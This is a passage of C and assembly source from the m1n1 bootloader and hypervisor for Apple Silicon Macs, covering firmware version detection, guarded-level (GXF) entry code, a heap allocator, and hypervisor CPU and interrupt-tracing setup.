printf(__VA_ARGS__); \ return -1; \ } while (0) const struct fw_version_info fw_versions[NUM_FW_VERSIONS] = { // clang-format off [V_UNKNOWN] = {V_UNKNOWN, "unknown", {0}, 1, "unknown"}, [V12_1] = {V12_1, "12.1", {12, 1, 0}, 3, "iBoot-7429.61.2"}, [V12_2] = {V12_2, "12.2", {12, 2, 0}, 3, "iBoot-7429.81.3"}, [V12_3] = {V12_3, "12.3", {12, 3, 0}, 3, "iBoot-7459.101.2"}, [V12_3_1] = {V12_3_1, "12.3.1", {12, 3, 1}, 3, "iBoot-7459.101.3"}, [V12_4] = {V12_4, "12.4", {12, 4, 0}, 3, "iBoot-7459.121.3"}, [V12_5] = {V12_5, "12.5", {12, 5, 0}, 3, "iBoot-7459.141.1"}, // Same as 12.5 // {V12_6, "12.6", {12, 6, 0}, 3, "iBoot-7459.141.1"}, [V13_0B4] = {V13_0B4, "13.0 beta4", {12, 99, 4}, 3, "iBoot-8419.0.151.0.1"}, [V13_0] = {V13_0, "13.0", {13, 0, 0}, 3, "iBoot-8419.41.10"}, [V13_1] = {V13_1, "13.1", {13, 1, 0}, 3, "iBoot-8419.60.44"}, [V13_2] = {V13_2, "13.2", {13, 2, 0}, 3, "iBoot-8419.80.7"}, [V13_3] = {V13_3, "13.3", {13, 3, 0}, 3, "iBoot-8422.100.650"}, [V13_5B4] = {V13_5B4, "13.5 beta4", {13, 4, 99, 4}, 4, "iBoot-8422.140.50.0.2"}, [V13_5] = {V13_5, "13.5", {13, 5, 0}, 3, "iBoot-8422.141.2"}, [V13_6_2] = {V13_6_2, "13.6.2", {13, 6, 2}, 3, "iBoot-8422.141.2.700.1"}, [V14_1_1] = {V14_1_1, "14.1.1", {14, 1, 1}, 3, "iBoot-10151.41.12"}, // clang-format on }; int firmware_set_fdt(void *fdt, int node, const char *prop, const struct fw_version_info *ver) { fdt32_t data[ARRAY_SIZE(ver->num)]; for (size_t i = 0; i < ver->num_length; i++) { data[i] = cpu_to_fdt32(ver->num[i]); } if (fdt_setprop(fdt, node, prop, data, ver->num_length * sizeof(u32))) bail("FDT: couldn't set %s property to firmware info", prop); return 0; } static void detect_firmware(struct fw_version_info *info, const char *ver) { for (size_t i = 0; i < ARRAY_SIZE(fw_versions); i++) { if (!strcmp(fw_versions[i].iboot, ver)) { *info = fw_versions[i]; return; } } *info = fw_versions[V_UNKNOWN]; info->iboot = ver; } int firmware_init(void) { int node = adt_path_offset(adt, "/chosen"); if (node < 0) { printf("ADT: no /chosen found\n"); return -1; } u32 len; const char *p = adt_getprop(adt, node, "firmware-version", &len); if (p && len && p[len - 1] == 0) { detect_firmware(&os_firmware, p); printf("OS FW version: %s (%s)\n", os_firmware.string, os_firmware.iboot); } else { printf("ADT: failed to find firmware-version\n"); return -1; } p = adt_getprop(adt, node, "system-firmware-version", &len); if (p && len && p[len - 1] == 0) { detect_firmware(&system_firmware, p); printf("System FW version: %s (%s)\n", system_firmware.string, system_firmware.iboot); } else { printf("ADT: failed to find system-firmware-version\n"); return -1; } return 0; } m1n1-1.4.11/src/firmware.h000066400000000000000000000014141453754430200151350ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __FIRMWARE_H__ #define __FIRMWARE_H__ #include "types.h" enum fw_version { V_UNKNOWN, V12_1, V12_2, V12_3, V12_3_1, V12_4, V12_5, // V12_6, V13_0B4, V13_0, V13_1, V13_2, V13_3, V13_5B4, V13_5, V13_6_2, V14_1_1, NUM_FW_VERSIONS, }; struct fw_version_info { enum fw_version version; const char *string; u32 num[4]; size_t num_length; const char *iboot; }; extern struct fw_version_info os_firmware; extern struct fw_version_info system_firmware; extern const struct fw_version_info fw_versions[NUM_FW_VERSIONS]; int firmware_init(void); int firmware_set_fdt(void *fdt, int node, const char *prop, const struct fw_version_info *ver); #endif m1n1-1.4.11/src/gxf.c000066400000000000000000000060171453754430200141040ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" #include "exception.h" #include "gxf.h" #include "malloc.h" #include "memory.h" #include "smp.h" #include "uart.h" #include "utils.h" uint64_t gxf_enter(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d); void _gxf_init(void *gl2_stack, void *gl1_stack); u8 *gl1_stack[MAX_CPUS]; u8 *gl2_stack[MAX_CPUS]; void gxf_init(void) { int cpu = smp_id(); if (!gl2_stack[cpu]) gl2_stack[cpu] = memalign(0x4000, GL_STACK_SIZE); if (in_el2() && !gl1_stack[cpu]) gl1_stack[cpu] = memalign(0x4000, GL_STACK_SIZE); _gxf_init(gl2_stack[cpu], gl1_stack[cpu]); } bool gxf_enabled(void) { if (!(mrs(SYS_IMP_APL_SPRR_CONFIG_EL1) & SPRR_CONFIG_EN)) return false; return (mrs(SYS_IMP_APL_GXF_CONFIG_EL1) & GXF_CONFIG_EN); } bool in_gl12(void) { if (!gxf_enabled()) return false; return (mrs(SYS_IMP_APL_GXF_STATUS_EL1) & GXF_STATUS_GUARDED); } static uint64_t gl_call(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d) { // disable the MMU first since enabling SPRR will change the meaning of all // pagetable permission bits and also prevent us from having rwx pages u64 sprr_state = mrs(SYS_IMP_APL_SPRR_CONFIG_EL1); if (!(sprr_state & SPRR_CONFIG_EN)) reg_set_sync(SYS_IMP_APL_SPRR_CONFIG_EL1, sprr_state | SPRR_CONFIG_EN); u64 gxf_state = mrs(SYS_IMP_APL_GXF_CONFIG_EL1); if (!(gxf_state & GXF_CONFIG_EN)) reg_set_sync(SYS_IMP_APL_GXF_CONFIG_EL1, gxf_state | GXF_CONFIG_EN); uint64_t ret = gxf_enter(func, a, b, c, d); if (!(gxf_state & GXF_CONFIG_EN)) msr_sync(SYS_IMP_APL_GXF_CONFIG_EL1, gxf_state); if (!(sprr_state & SPRR_CONFIG_EN)) msr_sync(SYS_IMP_APL_SPRR_CONFIG_EL1, sprr_state); return ret; } uint64_t gl2_call(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d) { if (mrs(CurrentEL) != 0x8) return -1; return gl_call(func, a, b, c, d); } struct gl_call_argv { void *func; uint64_t a, b, c, d; }; static uint64_t gl_call_wrapper(struct gl_call_argv *args) { return gl_call(args->func, args->a, args->b, args->c, args->d); } uint64_t gl1_call(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d) { if (mrs(CurrentEL) == 0x4) return gl_call(func, a, b, c, d); struct gl_call_argv args; args.func = func; args.a = a; args.b = b; args.c = c; args.d = d; // enable EL1 here since once GXF has been enabled HCR_EL2 writes are only possible from GL2 if (mrs(HCR_EL2) & HCR_TGE) reg_clr(HCR_EL2, HCR_TGE); u64 sprr_state = mrs(SYS_IMP_APL_SPRR_CONFIG_EL1) & SPRR_CONFIG_EN; reg_set_sync(SYS_IMP_APL_SPRR_CONFIG_EL1, SPRR_CONFIG_EN); u64 gxf_state = mrs(SYS_IMP_APL_GXF_CONFIG_EL1) & GXF_CONFIG_EN; reg_set_sync(SYS_IMP_APL_GXF_CONFIG_EL1, GXF_CONFIG_EN); uint64_t ret = el1_call(gl_call_wrapper, (uint64_t)&args, 0, 0, 0); msr_sync(SYS_IMP_APL_GXF_CONFIG_EL1, gxf_state); msr_sync(SYS_IMP_APL_SPRR_CONFIG_EL1, sprr_state); return ret; } m1n1-1.4.11/src/gxf.h000066400000000000000000000006041453754430200141050ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __GXF_H__ #define __GXF_H__ #include "types.h" #define GL_STACK_SIZE 0x10000 #ifndef __ASSEMBLER__ bool gxf_enabled(void); bool in_gl12(void); void gxf_init(void); uint64_t gl1_call(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d); uint64_t gl2_call(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d); #endif #endif m1n1-1.4.11/src/gxf_asm.S000066400000000000000000000113161453754430200147220ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "gxf.h" #include "cpu_regs.h" #include "exception.h" #define genter .long 0x00201420 #define gexit .long 0x00201400 .global _gxf_init .type _gxf_init, @function _gxf_init: str x30, [sp, #-16]! mov x5, x0 mov x6, x1 mov x0, 1 msr SYS_IMP_APL_SPRR_CONFIG_EL1, x0 isb msr SYS_IMP_APL_GXF_CONFIG_EL1, x0 isb ldr x0, =_gxf_setup msr SYS_IMP_APL_GXF_ENTER_EL1, x0 isb genter msr SYS_IMP_APL_GXF_CONFIG_EL1, xzr isb msr SYS_IMP_APL_SPRR_CONFIG_EL1, xzr isb ldr x30, [sp], #16 ret .globl gxf_enter .type gxf_enter, @function gxf_enter: genter ret _gxf_setup: mov sp, x5 ldr x1, =_gxf_vectors ldr x2, =_gxf_exc_sync ldr x3, =_gxf_entry msr SYS_IMP_APL_VBAR_GL1, x1 msr SYS_IMP_APL_GXF_ABORT_EL1, x2 msr SYS_IMP_APL_GXF_ENTER_EL1, x3 mrs x4, CurrentEL cmp x4, #8 bne 1f msr SYS_IMP_APL_SP_GL12, x6 msr SYS_IMP_APL_VBAR_GL12, x1 msr SYS_IMP_APL_GXF_ABORT_EL12, x2 msr SYS_IMP_APL_GXF_ENTER_EL12, x3 1: isb gexit _gxf_entry: stp x29, x30, [sp, #-16]! stp x23, x24, [sp, #-16]! stp x21, x22, [sp, #-16]! stp x19, x20, [sp, #-16]! // these registers would be overwritten by each exception happening in GL1/2 // but we need them to gexit correctly again mrs x20, SYS_IMP_APL_SPSR_GL1 mrs x21, SYS_IMP_APL_ASPSR_GL1 mrs x22, SYS_IMP_APL_ESR_GL1 mrs x23, SYS_IMP_APL_ELR_GL1 mrs x24, SYS_IMP_APL_FAR_GL1 mov x5, x0 mov x0, x1 mov x1, x2 mov x2, x3 mov x3, x4 blr x5 msr SYS_IMP_APL_SPSR_GL1, x20 msr SYS_IMP_APL_ASPSR_GL1, x21 msr SYS_IMP_APL_ESR_GL1, x22 msr SYS_IMP_APL_ELR_GL1, x23 msr SYS_IMP_APL_FAR_GL1, x24 ldp x19, x20, [sp], #16 ldp x21, x22, [sp], #16 ldp x23, x24, [sp], #16 ldp x29, x30, [sp], #16 isb gexit .align 11 _gxf_vectors: mov x9, '0' b _gxf_exc_unk .align 7 mov x9, '1' b _gxf_exc_unk .align 7 mov x9, '2' b _gxf_exc_unk .align 7 mov x9, '3' b _gxf_exc_unk .align 7 b _gxf_exc_sync .align 7 mov x9, '5' b _gxf_exc_unk .align 7 mov x9, '6' b _gxf_exc_unk .align 7 b _gxf_serr .align 7 b _gxf_exc_sync .align 7 mov x9, '9' b _gxf_exc_unk .align 7 mov x9, 'a' b _gxf_exc_unk .align 7 b _gxf_serr .align 7 mov x9, 'c' b _gxf_exc_unk .align 7 mov x9, 'd' b _gxf_exc_unk .align 7 mov x9, 'e' b _gxf_exc_unk .align 7 mov x9, 'f' b _gxf_exc_unk .align 7 _gxf_exc_sync: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _gxf_exc_entry bl exc_sync b _gxf_exc_return _gxf_serr: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _gxf_exc_entry bl exc_serr b _gxf_exc_return _gxf_exc_entry: stp x28, x29, [sp, #-16]! stp x26, x27, [sp, #-16]! stp x24, x25, [sp, #-16]! stp x22, x23, [sp, #-16]! stp x20, x21, [sp, #-16]! stp x18, x19, [sp, #-16]! stp x16, x17, [sp, #-16]! stp x14, x15, [sp, #-16]! stp x12, x13, [sp, #-16]! stp x10, x11, [sp, #-16]! stp x8, x9, [sp, #-16]! stp x6, x7, [sp, #-16]! stp x4, x5, [sp, #-16]! stp x2, x3, [sp, #-16]! stp x0, x1, [sp, #-16]! mov x0, sp mrs x1, SYS_IMP_APL_SPSR_GL1 msr SPSR_EL1, x1 mrs x1, SYS_IMP_APL_ELR_GL1 msr ELR_EL1, x1 mrs x1, SYS_IMP_APL_ESR_GL1 msr ESR_EL1, x1 mrs x1, SYS_IMP_APL_FAR_GL1 msr FAR_EL1, x1 ret _gxf_exc_return: mrs x0, SPSR_EL1 msr SYS_IMP_APL_SPSR_GL1, x0 mrs x0, ELR_EL1 msr SYS_IMP_APL_ELR_GL1, x0 ldp x0, x1, [sp], #16 ldp x2, x3, [sp], #16 ldp x4, x5, [sp], #16 ldp x6, x7, [sp], #16 ldp x8, x9, [sp], #16 ldp x10, x11, [sp], #16 ldp x12, x13, [sp], #16 ldp x14, x15, [sp], #16 ldp x16, x17, [sp], #16 ldp x18, x19, [sp], #16 ldp x20, x21, [sp], #16 ldp x22, x23, [sp], #16 ldp x24, x25, [sp], #16 ldp x26, x27, [sp], #16 ldp x28, x29, [sp], #16 ldr x30, [sp], #16 add sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) isb gexit _gxf_exc_unk: msr pan, #0 mov w0, 0xd /* '\r', clang compat */ bl debug_putc mov w0, '\n' bl debug_putc mov w0, '!' bl debug_putc mov w0, 'G' bl debug_putc mov w0, 'L' bl debug_putc mov w0, 'E' bl debug_putc mov w0, 'X' bl debug_putc mov w0, 'C' bl debug_putc mov w0, ':' bl debug_putc mov w0, w9 bl debug_putc mov w0, '!' bl debug_putc mov w0, 0xd /* '\r', clang compat */ bl debug_putc mov w0, '\n' bl debug_putc b reboot m1n1-1.4.11/src/heapblock.c000066400000000000000000000022121453754430200152410ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "heapblock.h" #include "assert.h" #include "types.h" #include "utils.h" #include "xnuboot.h" /* * This is a non-freeing allocator, used as a backend for malloc and for uncompressing data. * * Allocating 0 bytes is allowed, and guarantees "infinite" (until the end of RAM) space is * available at the returned pointer as long as no other malloc/heapblock calls occur, which is * useful as a buffer for unknown-length uncompressed data. A subsequent call with a size will then * actually reserve the block. */ static void *heap_base; void heapblock_init(void) { void *top_of_kernel_data = (void *)cur_boot_args.top_of_kernel_data; heap_base = top_of_kernel_data; heapblock_alloc(0); // align base printf("Heap base: %p\n", heap_base); } void *heapblock_alloc(size_t size) { return heapblock_alloc_aligned(size, 64); } void *heapblock_alloc_aligned(size_t size, size_t align) { assert((align & (align - 1)) == 0); assert(heap_base); uintptr_t block = (((uintptr_t)heap_base) + align - 1) & ~(align - 1); heap_base = (void *)(block + size); return (void *)block; } m1n1-1.4.11/src/heapblock.h000066400000000000000000000003431453754430200152510ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef HEAPBLOCK_H #define HEAPBLOCK_H #include "types.h" void heapblock_init(void); void *heapblock_alloc(size_t size); void *heapblock_alloc_aligned(size_t size, size_t align); #endif m1n1-1.4.11/src/hv.c000066400000000000000000000231741453754430200137400ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "hv.h" #include "assert.h" #include "cpu_regs.h" #include "display.h" #include "gxf.h" #include "memory.h" #include "pcie.h" #include "smp.h" #include "string.h" #include "usb.h" #include "utils.h" #define HV_TICK_RATE 1000 #define HV_SLOW_TICK_RATE 1 DECLARE_SPINLOCK(bhl); void hv_enter_guest(u64 x0, u64 x1, u64 x2, u64 x3, void *entry); void hv_exit_guest(void) __attribute__((noreturn)); extern char _hv_vectors_start[0]; u64 hv_tick_interval; u64 hv_secondary_tick_interval; int hv_pinned_cpu; int hv_want_cpu; static bool hv_has_ecv; static bool hv_should_exit[MAX_CPUS]; bool hv_started_cpus[MAX_CPUS]; u64 hv_cpus_in_guest; u64 hv_saved_sp[MAX_CPUS]; struct hv_secondary_info_t { uint64_t hcr; uint64_t hacr; uint64_t vtcr, vttbr; uint64_t mdcr; uint64_t mdscr; uint64_t amx_ctl; uint64_t apvmkeylo, apvmkeyhi, apsts; uint64_t actlr_el2; uint64_t actlr_el1; uint64_t cnthctl; uint64_t sprr_config; uint64_t gxf_config; }; static struct hv_secondary_info_t hv_secondary_info; void hv_init(void) { pcie_shutdown(); // Make sure we wake up DCP if we put it to sleep, just quiesce it to match ADT if (display_is_external && display_start_dcp() >= 0) display_shutdown(DCP_QUIESCED); // reenable hpm interrupts for the guest for unused iodevs usb_hpm_restore_irqs(0); smp_start_secondaries(); smp_set_wfe_mode(true); hv_wdt_init(); hv_pt_init(); // Configure hypervisor defaults hv_write_hcr(HCR_API | // Allow PAuth instructions HCR_APK | // Allow PAuth key registers HCR_TEA | // Trap external aborts HCR_E2H | // VHE mode (forced) HCR_RW | // AArch64 guest HCR_AMO | // Trap SError exceptions HCR_VM); // Enable stage 2 translation // No guest vectors initially msr(VBAR_EL12, 0); // Compute tick interval hv_tick_interval = mrs(CNTFRQ_EL0) / HV_TICK_RATE; hv_has_ecv = mrs(ID_AA64MMFR0_EL1) & (0xfULL << 60); if (hv_has_ecv) { printf("HV: ECV enabled\n"); reg_set(CNTHCTL_EL2, CNTHCTL_EL1NVVCT | CNTHCTL_EL1NVPCT | CNTHCTL_EL1TVT | CNTHCTL_EL1PCTEN); hv_secondary_tick_interval = mrs(CNTFRQ_EL0) / HV_SLOW_TICK_RATE; } else { printf("HV: No ECV supported\n"); // Enable physical timer for EL1 msr(CNTHCTL_EL2, CNTHCTL_EL1PTEN | CNTHCTL_EL1PCTEN); hv_secondary_tick_interval = hv_tick_interval; } // Set deep WFI back to defaults reg_mask(SYS_IMP_APL_CYC_OVRD, CYC_OVRD_WFI_MODE_MASK, CYC_OVRD_WFI_MODE(0)); sysop("dsb ishst"); sysop("tlbi alle1is"); sysop("dsb ish"); sysop("isb"); } static void hv_set_gxf_vbar(void) { msr(SYS_IMP_APL_VBAR_GL1, _hv_vectors_start); } void hv_start(void *entry, u64 regs[4]) { if (boot_cpu_idx == -1) { printf("Boot CPU has not been found, can't start hypervisor\n"); return; } memset(hv_should_exit, 0, sizeof(hv_should_exit)); memset(hv_started_cpus, 0, sizeof(hv_started_cpus)); hv_started_cpus[boot_cpu_idx] = true; msr(VBAR_EL1, _hv_vectors_start); if (gxf_enabled()) gl2_call(hv_set_gxf_vbar, 0, 0, 0, 0); hv_secondary_info.hcr = mrs(HCR_EL2); hv_secondary_info.hacr = mrs(HACR_EL2); hv_secondary_info.vtcr = mrs(VTCR_EL2); hv_secondary_info.vttbr = mrs(VTTBR_EL2); hv_secondary_info.mdcr = mrs(MDCR_EL2); hv_secondary_info.mdscr = mrs(MDSCR_EL1); hv_secondary_info.amx_ctl = mrs(SYS_IMP_APL_AMX_CTL_EL2); hv_secondary_info.apvmkeylo = mrs(SYS_IMP_APL_APVMKEYLO_EL2); hv_secondary_info.apvmkeyhi = mrs(SYS_IMP_APL_APVMKEYHI_EL2); hv_secondary_info.apsts = mrs(SYS_IMP_APL_APSTS_EL12); hv_secondary_info.actlr_el2 = mrs(ACTLR_EL2); hv_secondary_info.actlr_el1 = mrs(SYS_IMP_APL_ACTLR_EL12); hv_secondary_info.cnthctl = mrs(CNTHCTL_EL2); hv_secondary_info.sprr_config = mrs(SYS_IMP_APL_SPRR_CONFIG_EL1); hv_secondary_info.gxf_config = mrs(SYS_IMP_APL_GXF_CONFIG_EL1); hv_arm_tick(false); hv_pinned_cpu = -1; hv_want_cpu = -1; hv_cpus_in_guest = BIT(smp_id()); hv_enter_guest(regs[0], regs[1], regs[2], regs[3], entry); __atomic_and_fetch(&hv_cpus_in_guest, ~BIT(smp_id()), __ATOMIC_ACQUIRE); spin_lock(&bhl); hv_wdt_stop(); printf("HV: Exiting hypervisor (main CPU)\n"); spin_unlock(&bhl); // Wait a bit for the guest CPUs to exit on their own if they are in the process. udelay(200000); spin_lock(&bhl); hv_started_cpus[boot_cpu_idx] = false; for (int i = 0; i < MAX_CPUS; i++) { if (i == boot_cpu_idx) { continue; } hv_should_exit[i] = true; if (hv_started_cpus[i]) { printf("HV: Waiting for CPU %d to exit\n", i); spin_unlock(&bhl); smp_wait(i); spin_lock(&bhl); hv_started_cpus[i] = false; } } printf("HV: All CPUs exited\n"); spin_unlock(&bhl); } static void hv_init_secondary(struct hv_secondary_info_t *info) { gxf_init(); msr(VBAR_EL1, _hv_vectors_start); msr(HCR_EL2, info->hcr); msr(HACR_EL2, info->hacr); msr(VTCR_EL2, info->vtcr); msr(VTTBR_EL2, info->vttbr); msr(MDCR_EL2, info->mdcr); msr(MDSCR_EL1, info->mdscr); msr(SYS_IMP_APL_AMX_CTL_EL2, info->amx_ctl); msr(SYS_IMP_APL_APVMKEYLO_EL2, info->apvmkeylo); msr(SYS_IMP_APL_APVMKEYHI_EL2, info->apvmkeyhi); msr(SYS_IMP_APL_APSTS_EL12, info->apsts); msr(ACTLR_EL2, info->actlr_el2); msr(SYS_IMP_APL_ACTLR_EL12, info->actlr_el1); msr(CNTHCTL_EL2, info->cnthctl); msr(SYS_IMP_APL_SPRR_CONFIG_EL1, info->sprr_config); msr(SYS_IMP_APL_GXF_CONFIG_EL1, info->gxf_config); reg_mask(SYS_IMP_APL_CYC_OVRD, CYC_OVRD_WFI_MODE_MASK, CYC_OVRD_WFI_MODE(0)); if (gxf_enabled()) gl2_call(hv_set_gxf_vbar, 0, 0, 0, 0); hv_arm_tick(true); } static void hv_enter_secondary(void *entry, u64 regs[4]) { hv_enter_guest(regs[0], regs[1], regs[2], regs[3], entry); spin_lock(&bhl); printf("HV: Exiting from CPU %d\n", smp_id()); __atomic_and_fetch(&hv_cpus_in_guest, ~BIT(smp_id()), __ATOMIC_ACQUIRE); hv_started_cpus[smp_id()] = false; spin_unlock(&bhl); } void hv_start_secondary(int cpu, void *entry, u64 regs[4]) { printf("HV: Initializing secondary %d\n", cpu); iodev_console_flush(); mmu_init_secondary(cpu); iodev_console_flush(); smp_call4(cpu, hv_init_secondary, (u64)&hv_secondary_info, 0, 0, 0); smp_wait(cpu); iodev_console_flush(); printf("HV: Entering guest secondary %d at %p\n", cpu, entry); hv_started_cpus[cpu] = true; __atomic_or_fetch(&hv_cpus_in_guest, BIT(smp_id()), __ATOMIC_ACQUIRE); iodev_console_flush(); smp_call4(cpu, hv_enter_secondary, (u64)entry, (u64)regs, 0, 0); } void hv_exit_cpu(int cpu) { if (cpu == -1) cpu = smp_id(); printf("HV: Requesting exit of CPU#%d from the guest\n", cpu); hv_should_exit[cpu] = true; } void hv_rendezvous(void) { int timeout = 1000000; if (!__atomic_load_n(&hv_cpus_in_guest, __ATOMIC_ACQUIRE)) return; /* IPI all CPUs. This might result in spurious IPIs to the guest... */ for (int i = 0; i < MAX_CPUS; i++) { if (i != smp_id() && hv_started_cpus[i]) { smp_send_ipi(i); } } while (timeout--) { if (!__atomic_load_n(&hv_cpus_in_guest, __ATOMIC_ACQUIRE)) return; } hv_panic("HV: Failed to rendezvous, missing CPUs: 0x%lx (current: %d)\n", __atomic_load_n(&hv_cpus_in_guest, __ATOMIC_ACQUIRE), smp_id()); } bool hv_switch_cpu(int cpu) { if (cpu > MAX_CPUS || cpu < 0 || !hv_started_cpus[cpu]) { printf("HV: CPU #%d is inactive or invalid\n", cpu); return false; } printf("HV: switching to CPU #%d\n", cpu); hv_want_cpu = cpu; hv_rendezvous(); return true; } void hv_pin_cpu(int cpu) { hv_pinned_cpu = cpu; } void hv_write_hcr(u64 val) { if (gxf_enabled() && !in_gl12()) gl2_call(hv_write_hcr, val, 0, 0, 0); else msr(HCR_EL2, val); } u64 hv_get_spsr(void) { if (in_gl12()) return mrs(SYS_IMP_APL_SPSR_GL1); else return mrs(SPSR_EL2); } void hv_set_spsr(u64 val) { if (in_gl12()) return msr(SYS_IMP_APL_SPSR_GL1, val); else return msr(SPSR_EL2, val); } u64 hv_get_esr(void) { if (in_gl12()) return mrs(SYS_IMP_APL_ESR_GL1); else return mrs(ESR_EL2); } u64 hv_get_far(void) { if (in_gl12()) return mrs(SYS_IMP_APL_FAR_GL1); else return mrs(FAR_EL2); } u64 hv_get_afsr1(void) { if (in_gl12()) return mrs(SYS_IMP_APL_AFSR1_GL1); else return mrs(AFSR1_EL2); } u64 hv_get_elr(void) { if (in_gl12()) return mrs(SYS_IMP_APL_ELR_GL1); else return mrs(ELR_EL2); } void hv_set_elr(u64 val) { if (in_gl12()) return msr(SYS_IMP_APL_ELR_GL1, val); else return msr(ELR_EL2, val); } void hv_arm_tick(bool secondary) { if (secondary) msr(CNTP_TVAL_EL0, hv_secondary_tick_interval); else msr(CNTP_TVAL_EL0, hv_tick_interval); msr(CNTP_CTL_EL0, CNTx_CTL_ENABLE); } void hv_maybe_exit(void) { if (hv_should_exit[smp_id()]) { hv_exit_guest(); } } void hv_tick(struct exc_info *ctx) { hv_wdt_pet(); iodev_handle_events(uartproxy_iodev); if (iodev_can_read(uartproxy_iodev)) { printf("HV: User interrupt\n"); iodev_console_flush(); if (hv_pinned_cpu == -1 || hv_pinned_cpu == smp_id()) hv_exc_proxy(ctx, START_HV, HV_USER_INTERRUPT, NULL); } hv_vuart_poll(); } m1n1-1.4.11/src/hv.h000066400000000000000000000066141453754430200137450ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef HV_H #define HV_H #include "exception.h" #include "iodev.h" #include "types.h" #include "uartproxy.h" typedef bool(hv_hook_t)(struct exc_info *ctx, u64 addr, u64 *val, bool write, int width); #define MMIO_EVT_ATTR GENMASK(31, 24) #define MMIO_EVT_CPU GENMASK(23, 16) #define MMIO_EVT_SH GENMASK(15, 14) #define MMIO_EVT_MULTI BIT(6) #define MMIO_EVT_WRITE BIT(5) #define MMIO_EVT_WIDTH GENMASK(4, 0) struct hv_evt_mmiotrace { u32 flags; u32 reserved; u64 pc; u64 addr; u64 data; }; struct hv_evt_irqtrace { u32 flags; u16 type; u16 num; }; #define HV_MAX_RW_SIZE 64 #define HV_MAX_RW_WORDS (HV_MAX_RW_SIZE >> 3) struct hv_vm_proxy_hook_data { u32 flags; u32 id; u64 addr; u64 data[HV_MAX_RW_WORDS]; }; typedef enum _hv_entry_type { HV_HOOK_VM = 1, HV_VTIMER, HV_USER_INTERRUPT, HV_WDT_BARK, HV_CPU_SWITCH, HV_VIRTIO, HV_PANIC, } hv_entry_type; /* VM */ void hv_pt_init(void); int hv_map(u64 from, u64 to, u64 size, u64 incr); int hv_unmap(u64 from, u64 size); int hv_map_hw(u64 from, u64 to, u64 size); int hv_map_sw(u64 from, u64 to, u64 size); int hv_map_hook(u64 from, hv_hook_t *hook, u64 size); u64 hv_translate(u64 addr, bool s1only, bool w, u64 *par_out); u64 hv_pt_walk(u64 addr); bool hv_handle_dabort(struct exc_info *ctx); bool hv_pa_write(struct exc_info *ctx, u64 addr, u64 *val, int width); bool hv_pa_read(struct exc_info *ctx, u64 addr, u64 *val, int width); bool hv_pa_rw(struct exc_info *ctx, u64 addr, u64 *val, bool write, int width); /* AIC events through tracing the MMIO event address */ bool hv_trace_irq(u32 type, u32 num, u32 count, u32 flags); /* Virtual peripherals */ void hv_vuart_poll(void); void hv_map_vuart(u64 base, int irq, iodev_id_t iodev); struct virtio_conf; void hv_map_virtio(u64 base, struct virtio_conf *conf); void virtio_put_buffer(u64 base, int qu, u32 id, u32 len); /* Exceptions */ void hv_exc_proxy(struct exc_info *ctx, uartproxy_boot_reason_t reason, u32 type, void *extra); void hv_set_time_stealing(bool enabled, bool reset); void hv_add_time(s64 time); /* WDT */ void hv_wdt_pet(void); void hv_wdt_suspend(void); void hv_wdt_resume(void); void hv_wdt_init(void); void hv_wdt_start(int cpu); void hv_wdt_stop(void); void hv_wdt_breadcrumb(char c); void hv_do_panic(void); #define hv_panic(fmt, ...) \ do { \ debug_printf("HV panic:" fmt, ##__VA_ARGS__); \ hv_do_panic(); \ flush_and_reboot(); \ } while (0) /* Utilities */ void hv_write_hcr(u64 val); u64 hv_get_spsr(void); void hv_set_spsr(u64 val); u64 hv_get_esr(void); u64 hv_get_far(void); u64 hv_get_elr(void); u64 hv_get_afsr1(void); void hv_set_elr(u64 val); /* HV main */ void hv_init(void); void hv_start(void *entry, u64 regs[4]); void hv_start_secondary(int cpu, void *entry, u64 regs[4]); void hv_exit_cpu(int cpu); void hv_rendezvous(void); bool hv_switch_cpu(int cpu); void hv_pin_cpu(int cpu); void hv_arm_tick(bool secondary); void hv_rearm(void); void hv_maybe_exit(void); void hv_tick(struct exc_info *ctx); #endif m1n1-1.4.11/src/hv_aic.c000066400000000000000000000046771453754430200145630ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "aic.h" #include "aic_regs.h" #include "hv.h" #include "uartproxy.h" #include "utils.h" #define IRQTRACE_IRQ BIT(0) static u32 trace_hw_num[AIC_MAX_DIES][AIC_MAX_HW_NUM / 32]; static void emit_irqtrace(u16 die, u16 type, u16 num) { struct hv_evt_irqtrace evt = { .flags = IRQTRACE_IRQ, .type = type, .num = die * aic->max_irq + num, }; hv_wdt_suspend(); uartproxy_send_event(EVT_IRQTRACE, &evt, sizeof(evt)); hv_wdt_resume(); } static bool trace_aic_event(struct exc_info *ctx, u64 addr, u64 *val, bool write, int width) { if (!hv_pa_rw(ctx, addr, val, write, width)) return false; if (addr != (aic->base + aic->regs.event) || write || width != 2) { return true; } u16 die = FIELD_GET(AIC_EVENT_DIE, *val); u16 type = FIELD_GET(AIC_EVENT_TYPE, *val); u16 num = FIELD_GET(AIC_EVENT_NUM, *val); if (die > AIC_MAX_DIES) return true; switch (type) { case AIC_EVENT_TYPE_HW: if (trace_hw_num[die][num / 32] & BIT(num & 31)) { emit_irqtrace(die, type, num); } break; default: // ignore break; } return true; } bool hv_trace_irq(u32 type, u32 num, u32 count, u32 flags) { dprintf("HV: hv_trace_irq type: %u start: %u num: %u flags: 0x%x\n", type, num, count, flags); if (type == AIC_EVENT_TYPE_HW) { u32 die = num / aic->max_irq; num %= AIC_MAX_HW_NUM; if (die >= aic->max_irq || num >= AIC_MAX_HW_NUM || count > AIC_MAX_HW_NUM - num) { printf("HV: invalid IRQ range: 